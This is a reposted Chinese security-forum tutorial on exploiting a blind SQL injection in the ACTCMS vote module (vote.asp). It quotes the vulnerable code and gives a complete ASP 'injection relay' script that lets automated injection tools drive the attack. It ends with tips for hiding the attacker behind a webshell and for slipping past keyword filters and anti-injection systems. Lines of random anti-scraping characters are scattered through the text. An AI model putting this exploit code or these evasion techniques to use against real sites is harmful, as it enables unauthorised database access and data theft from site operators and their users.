找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2058|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

* [8 U3 j8 A1 d) }看到ninty大牛的blog的一篇文章
: w* L+ P/ ~5 f. @2 T6 U4 @6 ]链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
' _9 z! j1 i/ C0 j关于actcms漏洞的利用  by 3x qq:381862589
- Q. w3 ?4 }9 |0 I转载请注明以上. w% e4 d/ a  K' K! `3 L2 t- H& E
漏洞文件:
0 u- i" {" j# @/plus/vote/vote.asp. T4 d- o( K; }- ]( B
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
4 w8 z& W' B0 l  E
9 N! _: [. s. i/ ~% `8 a2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   5 a3 |# ~$ {: m( J1 A( q. S* i

6 E- O( O: h' {& P0 Q, W  {3    response.end    $ g+ |- Z2 W; M; ?! `

+ r3 E7 |+ u% z6 R4    end if    ! r8 ?, ~. H" U' \1 L

# T3 }1 w( Z3 s2 n1 V3 y' E# O5    for i=1 to request("voted").count   
0 r! g& t" u) W; P% g) U
, S4 V$ {# A1 _6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
" m* o1 u" N3 _; e: Y% e# v9 r' G
3 e( T0 {8 [9 `: h2 g) {) X7    next   
  K( o! }' a: z* Z* z
% [; Y8 L# i& _( [5 v5 F6 n8....   
- A1 e1 J; v- I/ v
" w  ?; k, t* V/ [+ _; X$ @9response.Redirect "index.asp?id="&id&""   # E: W% o) E% a3 ]2 u- B1 o
投票结束回跳转回index.asp这个投票结果页面: L. [0 Z- `3 b4 u; X. W: T$ {, ^
如果投票成功票数加1" c' i0 Z0 i! A( S( X$ N
            失败票数不变* a& h0 ^6 a7 U/ x" N# ?6 X
如图:
% f. n8 P( @, n. M% ^http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
$ ~+ X6 I; z; w- ]
9 |; X2 X' n* M! W9 n" ~) ]* k4 S2009-12-27 13:20
( \- L) F! o2 z  \5 i" {
- c8 n3 y# m9 l- O! u- C8 `1 \& W利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了! h" h6 Z( U/ A# _: ~0 o4 ~7 z

' }9 i7 V1 m- V" Q; v本帖隐藏的内容需要回复才可以浏览
& A1 ^* z, S3 u. w我们用注入中转来实现这个注入具体代码如下:; a4 _2 ~! ~- d3 W0 P, v, u
先用寂寞的刺猬大牛的注入中转生成jmget.asp& E5 S) f8 c* b
注入地址:http://localhost/actcms/plus/vote/vote.asp
4 ~( f( J$ D- Q# w$ j! A注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
  u1 N) c. m2 W% h7 k7 r& a7 d5 {" [
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 4 ^3 T( p. O: p9 X( c
8 i' _+ \) z9 G7 c3 g$ t% E
02JmdcwName=request("jmdcw")
9 v% c! D# T( m. J$ [3 D5 b8 l8 Y& q0 V
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]   ^2 E& I- l# j3 ~- p( X- I
& U3 O6 G4 R, e9 p. k1 b- a  i
04JmStr="id=1&voted=-1 or 1="&JmdcwName
; Y# h' \, G/ G* _! J6 ~, a* q6 Z! r9 `* D' b) P! Z$ X
05JmStr=URLEncoding(JmStr)
9 a8 _5 o1 x# B7 H. |% @
/ M1 U$ a! \! R% Q; d06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp") K" w4 A" }; v1 P0 H

  k  \" f5 ]" i/ L2 s- ^07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"! ?7 t& N" P0 U. x! e7 r# t

' q" t6 ^0 s) x8 a' l9 ^8 {08testurl=testurl & "?" & JmStr
* ?) Z$ S) l: e1 |- u% ?2 N8 j8 {$ m: q: {4 v, Q
09JMUrl=JMUrl & "?" & JmStr : v  Z% S" M: c

( ]. {4 X5 n8 I2 Q2 K; b10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
; U5 u9 `4 Y  Q: Q; _
9 F5 b; O6 @( }' e11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
( g6 Y+ i$ C" y1 d* k5 S5 u
) t) D/ d$ }+ M5 ^; A2 v5 w12JmCok=replace(JmCok,chr(32),"%20")  & n' S' r  k3 l1 ~# u

" B+ w! Q% k$ X13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ; y8 h: C+ S% X' r9 o
6 v) i+ H4 B$ e+ L* ~) Z) N
14  
) z, z  p) w7 l2 @) b
+ p8 \% o5 Y3 p$ K2 D, m15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 , ]! e% N; U5 L5 `2 T% ^

2 z1 [# u6 e8 T16  / `4 \4 H. H% I& f

( j: c% q, ^! C8 ~) m  y17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 ) B8 r/ F+ Y& g! K( J

7 y/ ^9 J/ _: i- S, e. p18response.write test1&""&test2&""
$ z: U7 l3 @' ~  g' o" Z) E
2 T. e, I7 n9 q1 u" d2 \19  / g/ ]0 p, Y" V' e* c7 i( x4 ^* I

/ \6 @. ^$ `, y! Y% k% }) T' K6 A- ~, h20if test1=test2 then '如前后记录相等,表示失败
6 N- y4 w/ K6 x. }6 }
, g9 F8 K/ o" k; K21  response.write "failed"
7 \* X" N5 l. `2 R' S! g0 u
. E" z) k0 y, U; w( M22else
$ |2 j, O/ `4 Z, G
. ]4 S* B3 z) t" l23  response.write "succeed", S, h6 i* U2 }  ]5 u& Y! z
$ ]* K* V  B/ n2 |
24end if  9 @3 {- R# e& x6 J

- p7 n+ F: E: m' T: h3 ]25  
6 u' g3 p0 Y' S* P" m! ?6 S& w# L5 z' L+ n- ~* j8 V. l- E/ k
26response.write "by 3x"
- H/ c6 f5 i+ u2 m! S
8 Z+ n) M* G2 \  T+ K27  
% v' v- p! J$ T7 d7 L( H7 {% y2 g% z/ j; ~: [3 u6 s) Q
28  
! c+ n$ ]3 l- Q3 ]& F, r; W" u
; d& }! z* N0 i6 n5 |  W# m0 v) w29Function PostData(PostUrl,PostStr,PostCok,PostRef)   # u4 M# ]( j- p

+ c- K$ A1 E: C+ }0 @30Dim Http
0 D% y3 P) y' [$ U4 n* N+ E9 {
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
# K0 P" w% x3 e1 r- d: J" H' Q: I( j; L8 g7 l
32With Http
& p8 W# b( ^$ G2 P
0 ]! G9 H' c3 L. u33  - p. H5 ^1 v% ~6 ~0 h0 \) C# {& ]0 l0 v

  ]9 l) @7 ~% J  o( y  k34.Open "GET",PostUrl,False' U0 D8 n# ]/ |
2 ?' o: F" y; f) ~; C. u0 F6 Y
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"7 G: w$ Y! w7 H$ A2 s' s

# q" G) k: w( O! Q36.SetRequestHeader "Referer",PostRef
) p* A2 R' o, w9 G1 z# A/ @9 s' s8 I$ K2 y
37.SetRequestHeader "Cookie",PostCok
5 Z3 w% J* W8 ?# @/ Q; L9 [
0 v4 N( Q- U8 o+ a( M, I38.Send () % F8 A- J( M- J
8 W- s, H. o, K! {- K+ j& {
39PostData = .ResponseBody
4 f* K: \6 E  Z* u9 `- ?: M- G  E' p2 R! u8 F1 C$ k% `& C
40End With3 f) q( P0 E& b& m, o7 r# h
7 _+ V- y% q* O
41Set Http = Nothing! k; k4 e/ A) ?0 U7 d( |
4 m) ?0 U7 l% M3 i- g# S4 b
42PostData =bytes2BSTR(PostData)
7 t6 ~/ `$ B, f. s9 E
) `2 V. e6 P# j4 X5 ]: M5 z# E43End Function
7 A0 a/ L! D' h
' c5 G1 @. \8 j7 X; R( v  ?3 d44  0 [( u# K0 O6 I* C1 \
" |+ C' z% R) X5 o5 D
45  7 Q( q* m2 G- \* U
4 W# l8 j, A4 Q$ `2 C: B. S" d6 b
46Function bytes2BSTR(vIn)
3 ]5 z! |" k" Q( l8 ?3 T8 q( h1 ~; Y7 O# d6 a, W
47Dim strReturn 3 ^- U7 c8 h( j  L* p9 i
) f/ u8 d: v4 @( x- a9 B
48Dim I, ThisCharCode, NextCharCode
9 U  \. q) H; w7 I/ ^$ D+ H
1 k/ W# ?0 x; s( U9 U" R49strReturn = ""
3 K8 z) \, y! T) K. p6 g- x' v" g8 C/ M6 |2 O7 p
50For I = 1 To LenB(vIn) + p3 f$ A9 Q2 B# Q( f2 J
$ `1 {6 L2 y( L; p3 P
51ThisCharCode = AscB(MidB(vIn, I, 1)) 5 W3 ?: R7 ?' X7 b# o) D; n3 R

: `5 h- x( @4 `' ?0 Y52If ThisCharCode < &H80 Then+ w) i! d1 C# b) g" F2 l" {

' `4 b% L$ P; E/ |  N53strReturn = strReturn & Chr(ThisCharCode)
, n: F6 x, K, W, ?
0 l! G* L; ]& E/ I" Z8 ^/ M54Else" {" [8 Y1 [! W: n3 w
2 Y3 X( I+ X2 l9 _" c# c5 S
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) , ^# m' K% d  d# O2 j

/ Y! G  W0 g  N0 M. A( C56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
8 I( }( p2 r; Z3 ^' w# @
1 Y! A9 @' Y0 d9 i% u9 l8 r( B57I = I + 1
4 p" _: A  Z0 h  L' U
0 Z$ g* ]) {( w& p8 T( T4 R( h7 I58End If
4 c) g& o- H) ~7 u" d8 }
. Q. Y: V7 B- {. J) \: D- |* q( ?59Next! O. M7 n: [. Z( D

) ~0 p& C, b5 a/ u; R4 g0 a60bytes2BSTR = strReturn
, z2 j2 k* @4 ^! i7 ~- {: `) p/ O1 u7 g0 K  D8 g" N  n
61End Function1 X8 y; t" i: z) f1 o# k: N! h
4 j- a. U1 j8 |0 Y' h6 s/ C: ?% E% `
62  
# r7 c! W0 S$ j9 r/ W& z3 R3 K; f2 g4 |# b+ |; F6 b- |
63Function URLEncoding(vstrin)  
2 _3 s9 j+ Q1 }2 L4 b& p2 T* w3 ^1 E0 H4 f0 Y) `
64strReturn=""1 B1 K) `8 Z3 A& {: k* w

2 J9 X6 l/ H0 _65Dim i
% s2 V) _8 r# m" f) F" {% z* H9 {  Y2 O/ r" C" C
66For i=1 To Len(vstrin) . R5 W: k  Q7 O/ j+ K
1 Z+ }' Z! A" ]
67ThisChr=Mid(vstrin,i,1)
) }; [" f% m  L; x8 o
( Q8 W: I7 q2 K: A' M68if Abs(Asc(ThisChr))< &HFF Then
: S# M) Z% H+ f- x5 f$ u! F+ b1 [& M/ e0 V% B! K# X
69strReturn=strReturn & ThisChr
9 v! h, e4 ]7 v# Y- I
0 a0 m2 m" [* V; d  X70Else
6 S/ A$ Y6 b1 {% U: R2 J8 r
# m- u# C1 q! A# t6 |5 b71InnerCode=Asc(ThisChr) / P( r* O7 h: q$ M2 Y

& X! p+ f+ z8 D. m& s72If InnerCode<0 Then; y  q) Z+ }+ e4 Q" ~1 f' }% M
$ O+ Y( A& {! c. _
73InnerCode=InnerCode + &H10000 * @3 r) S* v2 d6 |* }% ?

: n* Q" X4 Z: `7 K! E/ P- Q( ~74End If
3 y: W6 ~# M1 v  y0 ~1 N( Y8 l+ L3 K4 g# d1 K
75Hight1=(InnerCode And &HFF00) \&HFF
( y& M& |+ O1 V! n  r  R5 C& M. l% Q& M7 q
76Low1=InnerCode And &HFF 4 M( X! F& L" \/ p. P' x7 n
% ?1 _6 q+ p, V
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
; w! Q" V1 l+ u) R
! n: P! R2 V- V  M( C78End if + I8 @3 C0 L$ J) m  A( b
& s0 f0 E% C2 u1 n: _+ {
79Next
2 i  K* V4 M! v. R. [/ t& q
0 A# a; D2 p9 s5 Z6 C  k80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 % s& J1 l4 I' f; H0 R
) X+ V, x& \1 g9 @( G9 j" V
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
/ K9 s3 {; M! C! R6 a: T
: T8 c' S& d8 s" t& f  y) m82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
* n$ E9 V" X* S8 ^4 B- Q# U$ E( Q3 c) I- V' ~% X. B; b# k  Z6 O
83URLEncoding=strReturn ; T# t* G5 s, S& u9 x0 R
1 @: x# }' q2 v* Y
84End Function
1 X( J- i2 ]! F0 {% W0 L
$ T( q# ?% s5 q7 |* ?6 N; b! g85  
$ m6 u0 S! j0 \* S8 l% C3 T
6 v3 u% C. ^8 T! E" d2 Q86function getSt(body)
+ f9 ~* m3 M6 M  [4 d( S
# b& d$ W$ f) n9 w& _0 v87  startpot=instr(body,"投票人数:")+len("投票人数:") * a8 m( Z, l# z6 h
  k. A. K2 p: Q& [
88  endpot=instr(startpot,body," ")
6 k# O+ C0 T( a% G/ }9 Q4 n! N, q3 ^% a" s/ e! a& G5 l! o
89  getSt=mid(body,startpot,endpot-startpot) 0 A/ E, P: }# j2 V: e, U1 w

7 r# z1 n7 h8 J. p3 N6 b90end function 4 |; j/ t' T( H0 Z9 h6 {
! f* u" J% t3 [" j" b
91%>* Y: G( [- h2 k/ C- Q
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
" {2 b8 ?% X2 \" u测试下效果:5 E: H9 }/ T  p3 _; C. V" H0 y
投票成功:
4 r% k. e' F4 @7 K9 Jhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
, H2 c3 T: [1 P" p5 h+ H0 ~) ~! Q/ Q! E9 ^" y- m- k
2009-12-27 13:29
. z. b% R9 e6 M- m! G4 g. W投票失败
. g3 v/ `: `$ d$ ?http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
+ U( R! a; X/ R3 h) ]
0 \2 e2 E2 S7 \: U2009-12-27 13:29
. z8 t7 {3 u8 I( m7 J% d$ a) t-------------------------------------------------------------------------------
. T- f/ F0 Q+ }# O  e* N3 M7 ~再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
, `: l2 q$ o$ w很抱歉。。。只能用单线程工具去注入。。。。。: C$ N8 L- D# R. m5 {& U
所以失败。。。不好意思。。。" f& J" g6 ^9 p1 ^' M0 E
-------------------------------------------------------------------------------9 M" N" V9 Q# O: a. s7 N( N

- _2 W: Q2 J# D+ h; m8 U7 R注入中转的一些其他应用
3 e5 `/ J- o! [& v6 @其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了9 s( }" L8 Z, |
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
; T2 N! f( r6 N! V% A8 x' f% I, B; `2.post注入转成get型的注入,方便我们使用工具来跑
; b5 A' x) m( I$ h3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"); ]+ ]* f+ V. R; v2 \# W
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过" B; L$ m3 q4 m6 R% g4 X- ^
, K2 E$ y" A5 U* ^# E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表